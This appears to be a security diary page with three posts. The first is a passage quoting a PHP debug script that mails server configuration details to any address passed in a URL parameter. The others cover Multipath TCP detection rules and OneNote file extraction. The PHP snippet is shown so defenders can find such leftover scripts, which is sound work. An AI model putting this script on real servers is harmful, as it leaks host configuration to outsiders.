   $server = array(        'HTTP_HOST', 'SERVER_NAME', 'SERVER_ADDR', 'SERVER_PORT',         'SERVER_ADMIN', 'SERVER_SIGNATURE', 'SERVER_SOFTWARE',        'REMOTE_ADDR', 'DOCUMENT_ROOT', 'REQUEST_URI',        'SCRIPT_NAME', 'SCRIPT_FILENAME',    );       $to = ( isset( $_GET['email'] ) ? $_GET['email'] : FALSE );    $subject = 'Mail Test Successful for ' . $_SERVER['HTTP_HOST'];    $message = '';

???????   foreach ( $server as $s )    {        $message .= sprintf( '%s: %s', $s, $_SERVER[$s] ) . PHP_EOL;    };

$success = mail( $to, $subject, $message, $headers );

The comment at the top says it all: This is not meant for production use, and even on a development site, it should likely be deployed only briefly for debugging. The script takes any "To" address from the "email" GET parameter and exfiltrates/displays part of the server configuration. It can be useful to scan your own hosts for some of these URLs as an additional control, but you really want to catch these issues during application deployment.

[CVE] https://nvd.nist.gov/vuln/detail/cve-2000-0411
[mailtest] https://gist.github.com/Porrapat/60ed7411d933122fc481

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

11 Comments

Published: 2026-11-02

Mutipath TCP: Use and Detection

Last week, an often-ignored TCP option, introduced in 2020, made the news due to a new vulnerability in Linux's implementation (RFC 8684, CVE-2026-98432)

Instead of looking at the vulnerability, I am using this diary to talk a bit about multipath TCP (MPTCP) and how you may see it used in your network.

What is MPTCP?

Traditionally, TCP is a connection-oriented protocol. Connections are established between a client and server, and host IP addresses are not expected to change for a specific connection. This restriction to a specific path does not always match modern system architecture. For example, mobile devices may switch from a local WIFI network to a cellular network at any time. Having to re-establish TCP connections may break applications. At the same time, servers often have a hard time "filling" high-bandwidth links using a single TCP connection due to limits on Window Size and the sequence number range [RFC 6182]. MPTCP is supposed to solve these problems by allowing connections to be split and handed over between different IP addresses.

The only widely used implementation I have observed is iOS/iPadOS. In this case, IPv4 connections to Apple (17.0.0.0/8) often utilize MPTCP [Apple]. MPTCP was initially used for Siri, and later for other services like Apple Music.

Two versions of MPTCP are currently defined and used: v0 and v1. At first,

MPTCP Options

The MPTCP Option (0x1e, 30) is followed by a byte containing 4 bits indicating the subtype and 4 bits indicating the version (0 or 1).

+----------------+--------------+----------------+----------------+ | TCP Option | Option Length|Subtype| Version| Flags | +----------------+--------------+----------------+----------------+ | 30 | variable | | 0 or 1 | | +----------------+--------------+----------------+----------------+

MP_CAPABLE (subtype 0): Indicates MPTCP support. Both sides must include it in the TCP handshake for MPTCP support to be enabled. Each MP_CAPABLE option also carries an 8-byte key that will later be used to identify and authenticate the different sub-sessions.

MP_JOIN (subtype 1): A second TCP connection may join an initial connection using the MP_JOIN option. This connection will typically be initiated by the client, but may originate from a different IP address. The RFC does specifically allow the server to initiate the second (or additional) connection. The RFC states: "It is permissible for either host in a connection to initiate the creation of a new subflow, but it is expected that this will normally be the original connection initiator." Ports should be the same, but do not have to be. Of course, this also accounts for common firewall rules. The web server will likely listen only on port 443, and the client's firewall will reject inbound SYN packets.

DSS (Data Sequence Signal, subtype 2): Each TCP connection which is part of MPTCP maintains its own sequence numbers, and acts just like any other "normal" TCP connection. To stitch the content of multiple connections together, the DSS option is used. It maps the respective's TCP sequence numbers to the sequence numbers of the combined connection.

ADD_ADDR/REMOVE_ADDR (subtypes 3, 4): these options are somewhat similar to MP_JOIN, but instead of actually setting up an additional connection, they advertise (or remove) additional addresses or ports that can be used.

MPTCP Detection

The best way to detect MPTCP is to look for TCP Option 30. Here are a few ways to do so:

Wireshark/tshark: Wireshark has a "mptcp" display filter keyword. As so often, Wireshark does make it easy.

tcpdump: There is no great way to match TCP options in tcpdump. But MPTCP packets, particularly SYN packets, tend to have large TCP headers, so a quick match on TCP header length can help. For example: 'tcp[12]>0xd0'

Suricata: Use the "tcp.hdr" keyword to inspect TCP options. The tricky part is that the option length isn't always the same. But there should be at least one MP_CAPABLE message that includes both the sender and receiver key, making this option 20 bytes long. The first three bytes are |1e 14 00| for version 0 or |1e 14 01| for version 1.

Snort: Snort does not have a keyword to inspect TCP options, and as far as I know, no way to filter for multipath TCP. The snort_decoder "experimental TCP option" alert only triggers on specific option types reserved for experimental use.

Zeek: By default, zeek does not log options, but it does offer the tcp_option and tcp_options events that can easily be used to log MPTCP. For example:

event tcp_option(c: connection, is_orig: bool, opt: count, optlen: count) { if ( opt == 30 ) { print(fmt("MPTCP between %s and %s", c$id$orig_h, c$id$resp_h)); } }

[Apple] https://support.apple.com/en-us/101905
[RFC8694] https://www.rfc-editor.org/info/rfc8684
[CVE-2026-98432] https://www.openwall.com/lists/oss-security/2026/10/30/1

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

9 Comments

Published: 2026-11-01

OneNote File Extraction

Recently, I had to extract embedded files from a set of OneNote files (extension .one).

My onedump.py tool can extract individual files, so I would have to run this many times. To avoid this, I added a new feature to my onedump.py tool: producing JSON data. Several of my tools already have such a feature: they produce JSON data with the content of their analysis results.

onedump's option --jsonoutput produces JSON output with the content of each embedded file found inside the OneNote file. And it can do this for many .one files in one go:

onedump.py --jsonoutput *.one

To write these files to disk you can use my myjson-filter.py tool, like this:

onedump.py --jsonoutput *.one | myjson-filter.py -W hashvir

This will write all the embedded files to disk, their name will be the sha256 hash of their content plus extension .vir (hashvir).

Didier Stevens
Senior handler
blog.DidierStevens.com

6 Comments

Top of page